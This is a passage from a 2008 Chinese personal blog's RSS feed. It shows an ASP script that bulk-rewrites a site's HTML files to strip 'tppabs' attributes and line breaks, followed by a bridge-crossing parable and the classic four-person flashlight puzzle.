&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td align=&quot;center&quot;&gt;优化:&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td&gt;&lt;label&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;input name=&quot;isReplace&quot; type=&quot;checkbox&quot; id=&quot;isReplace&quot; &lt;%If Request(&quot;isReplace&quot;) &lt;&gt;&quot;&quot; Then Response.Write(&quot;Checked&quot;)%&gt; value=&quot;yes&quot; /&gt;开/关&lt;!--不选中不进行优化操作，只搜索可优化的文件--&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;/label&gt;&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;!--tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td align=&quot;center&quot;&gt;查找内容：&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td&gt;&lt;textarea name=&quot;MuMaContent&quot; cols=&quot;38&quot; rows=&quot;4&quot; id=&quot;MuMaContent&quot;&gt;&lt;-%if Request(&quot;MuMaContent&quot;)&lt;&gt;&quot;&quot; Then Response.Write(Request(&quot;MuMaContent&quot;))%&gt;&lt;/textarea&gt;&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td align=&quot;center&quot;&gt;替换内容:&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td&gt;&lt;textarea name=&quot;ReplaceStr&quot; cols=&quot;38&quot; rows=&quot;4&quot; id=&quot;ReplaceStr&quot;&gt;&lt;-%if Request(&quot;ReplaceStr&quot;)&lt;&gt;&quot;&quot; Then Response.Write(Request(&quot;ReplaceStr&quot;))%&gt;&lt;/textarea&gt;&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr--&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td height=&quot;40&quot; colspan=&quot;2&quot; align=&quot;center&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;搜索&quot; /&gt;<br>
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;label&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;input type=&quot;reset&quot; name=&quot;Submit2&quot; value=&quot;重置&quot; /&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;/label&gt;&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&lt;/table&gt;<br>
&lt;br /&gt;<br>
&lt;/form&gt;<br>
&lt;% <br>
if request(&quot;submit&quot;)&lt;&gt;&quot;&quot; Then<br>
dim arr,j,selfarr<br>
j=0<br>
&nbsp;&nbsp;&nbsp;  Server.ScriptTimeout=999999999<br>
&nbsp;&nbsp;&nbsp;  self = Request.ServerVariables(&quot;SCRIPT_NAME&quot;)<br>
&nbsp;&nbsp;&nbsp;  selfarr = split(self,&quot;/&quot;)<br>
&nbsp;&nbsp;&nbsp;  self = selfarr(UBound(selfarr))<br>
&nbsp;&nbsp;&nbsp;  arr = split(request(&quot;HouZhui&quot;),&quot;,&quot;)<br>
&nbsp;&nbsp;&nbsp;  <br>
%&gt;<br>
&lt;table width=&quot;520&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;1&quot; bgcolor=&quot;#66CC99&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;td width=&quot;500&quot; height=&quot;40&quot; align=&quot;center&quot; bgcolor=&quot;#57DB9C&quot;&gt;&lt;strong&gt;查找结果&lt;/strong&gt;&lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;tr bgcolor=&quot;#FFFFFF&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;td height=&quot;40&quot; align=&quot;left&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;%&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;  if Right(Request(&quot;WebMuLu&quot;),1)=&quot;&quot; Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  WebMuLu = Left(Request(&quot;WebMuLu&quot;),len(Request(&quot;WebMuLu&quot;))-1)<br>
&nbsp;&nbsp;&nbsp;  End If<br>
&nbsp;&nbsp;&nbsp;  call bianli(Request(&quot;WebMuLu&quot;))<br>
&nbsp;&nbsp;&nbsp;  Response.Write(&quot;&lt;br/&gt;&quot;)<br>
&nbsp;&nbsp;&nbsp;  Response.Write(&quot;==================查找结果为 &lt;font color=red&gt;&quot; &amp;Cstr(j)&amp;&quot;&lt;/font&gt; 个文件=================&quot;)<br>
&nbsp;&nbsp;&nbsp;  %&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/td&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/tr&gt;<br>
&lt;/table&gt;<br>
&lt;%<br>
End If<br>
Function BianLi(path)&lsquo;遍历文件夹下可优化的文件并优化<br>
Set fso=Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br>
on error resume next <br>
set objFolder=fso.GetFolder(path)<br>
set objFiles=objFolder.Files</font></p>
<p><font color="#333300">for each objFile in objFiles <br>
&nbsp;&nbsp;  filePath=path + &quot;\&quot; + objFile.Name<br>
&nbsp;&nbsp;  for i = LBound(arr) to UBound(arr)<br>
&nbsp;&nbsp;&nbsp;  if fso.GetExtensionName(objFile.Name) = arr(i) or arr(i) = &quot;*.*&quot; Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;  set f = fso.OpenTextFile(filePath,1)<br>
&nbsp;&nbsp;&nbsp;&nbsp;  tmpstring = f.ReadAll<br>
&nbsp;&nbsp;&nbsp;&nbsp;  if tmpstring &lt;&gt; &quot;&quot; Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  response.Write(filePath +&quot;&lt;br&gt;&quot;)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  j=j+1<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if request(&quot;isReplace&quot;)=&quot;yes&quot; and objFile.Name &lt;&gt; self then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  'tmpstring = Replace(tmpstring,Request(&quot;MuMaContent&quot;),Request(&quot;ReplaceStr&quot;))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  'Response.write self<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  'Response.end<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if fso.GetExtensionName(objFile.Name)=&quot;asp&quot; then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  'tmpstring=ReplaceStr(tmpstring,&quot;[\n\r\t]&quot;,chr(13))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  tmpstring=ReplaceStr(tmpstring,&quot;(tppabs*= *['&quot;&quot;]*(\S+)[&quot;&quot;'])&quot;,&quot;&quot;)&rsquo;处理tppabs=&quot;xxxxxxx&quot;为空<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  tmpstring=ReplaceStr(tmpstring,&quot;[\r\n]&quot;,&quot;&quot;)&rsquo;处理回车符，换行符，空格为空<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  end if&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  set f = fso.OpenTextFile(filePath,2)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  f.write(tmpstring)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  f.close<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  response.Write(&quot;文件&quot;+filePath+&quot;优化完毕！&lt;br&gt;&quot;)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  end if<br>
&nbsp;&nbsp;&nbsp;&nbsp;  end if<br>
&nbsp;&nbsp;&nbsp;  end if<br>
&nbsp;&nbsp;  next<br>
next<br>
<br>
set objSubFolders=objFolder.Subfolders <br>
for each objSubFolder in objSubFolders <br>
&nbsp;&nbsp;  nowpath=path + &quot;&quot; + objSubFolder.name <br>
&nbsp;&nbsp;  bianli(nowpath)<br>
next </font></p>
<p><font color="#333300">set objFolder=nothing <br>
set objSubFolders=nothing <br>
set fso=nothing <br>
end function </font></p>
<p><font color="#333300">'处理正则表达式函数其中str为需处理的字符串，Pattern为自定义正则表达式，tostr为替换字符</font></p>
<p><font color="#333300">Function ReplaceStr(Str,Pattern,tostr)<br>
&nbsp;&nbsp;&nbsp;&nbsp;  If IsNull(Str) Then<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ReplaceStr = Str<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Exit Function<br>
&nbsp;&nbsp;&nbsp;&nbsp;  End IF<br>
&nbsp;&nbsp;&nbsp;&nbsp;  ReplaceStr = False<br>
&nbsp;&nbsp;&nbsp;&nbsp;  Str = Trim(Str)<br>
&nbsp;&nbsp;&nbsp;&nbsp;  Dim RegEx<br>
&nbsp;&nbsp;&nbsp;&nbsp;  Set RegEx = New RegExp<br>
&nbsp;&nbsp;&nbsp;&nbsp;  RegEx.Pattern = Pattern<br>
&nbsp;&nbsp;&nbsp;&nbsp;  'RegEx.Pattern = &quot;[\r\n]&quot;<br>
&nbsp;&nbsp;&nbsp;&nbsp;  RegEx.IgnoreCase = True'区分大小写<br>
&nbsp;&nbsp;&nbsp;&nbsp;  regEx.Global = True'全部匹配<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ReplaceStr = regEx.Replace(Str,tostr)<br>
End Function<br>
%&gt;</font></p>
<p><font color="#000000">　　经过以上程序处理后，呵呵，原来50K的文件，现在只有21K，一个字&ldquo;爽&rdquo;，原来33.9M的文件夹，现在看只有15.8M，节约了不少网页空间，对访问速度已有所帮助，直是太好了...</font></p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/0338b209d40d62216b60fbf8.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/0338b209d40d62216b60fbf8.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月05日 星期四  下午 01:01</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/0338b209d40d62216b60fbf8.html</guid>
</item>

<item>
        <title><![CDATA[四人过桥]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/3edb1217f6b82a044a90a70c.html]]></link>
        <description><![CDATA[
		
		<strong>　　哲理篇：</strong><br>
<br>
洪水暴发，有好心人在两岸连起一条绳索，横空挂在独木桥上方。<br>
四个人来到岸边：一个盲人，一个聋哑人和两个健康人。他们都有急事要到对岸去。聋哑人不言不语，迈步上桥，摇摇晃晃中到了对岸。一个健康人引导着盲人，小心翼翼地安全过了桥。剩下一个健康人松了一口气，面对狂涌的河水，踏上了独木桥，却不幸中途滑落水中。
<p>　　人们感到奇怪：为什么盲人和聋哑人都能顺利过桥，而那个耳聪目明的健康人却落水了呢？</p>
<p>　　聋哑人比画道：我听不见河水汹涌的涛声，无形中少了许多顾虑，只要看准落脚点就行了。</p>
<p>　　盲人说：我根本就不知道河水有多大。在这位好心大哥的指引下，一步也没有走错。</p>
<p>　　活着的健康人说：我走在盲人的前面，既要看好脚下的路，又要不时提醒身后的盲人，全身十二分的精神都在独木桥和绳索上，哪里还有精力去考虑浪高涛急？</p>
<p>　　启示：<strong>人生之路，坎坷莫测，一步走错，后悔莫及。有些事情的成败并不在于身处环境的复杂与否，而只是自己内心的魔障在做怪。</strong></p>
<p><strong>　　数学题：</strong></p>
<p>　　有四个人想过一座桥，他们都站在桥的某一边，每人过桥的速度都不一样：</p>
<p>　　A：过桥需要3分钟；</p>
<p>　　B：过桥需要5分钟；</p>
<p>　　C：过桥需要10分钟；</p>
<p>　　D：过桥需要20分钟。</p>
<p>　　桥很窄，最多同时只能过两人，天很黑，只有一个手电筒，不管是谁过桥，不管是一个人还是两个人，必须要带着手电筒。如果两人同时过，快的必须和慢的一起过。</p>
<p>　　问：四个人只要38分种过完这座桥。问他们是怎么过去的？（不允许把手电扔来扔去）</p>
<p>　　　<strong>　期待您的答案呢...</strong></p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/3edb1217f6b82a044a90a70c.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/%B7%D6%CF%ED">分享</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/3edb1217f6b82a044a90a70c.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月04日 星期三  下午 09:33</pubDate>
        <category><![CDATA[分享]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/3edb1217f6b82a044a90a70c.html</guid>
</item>


</channel>
</rss>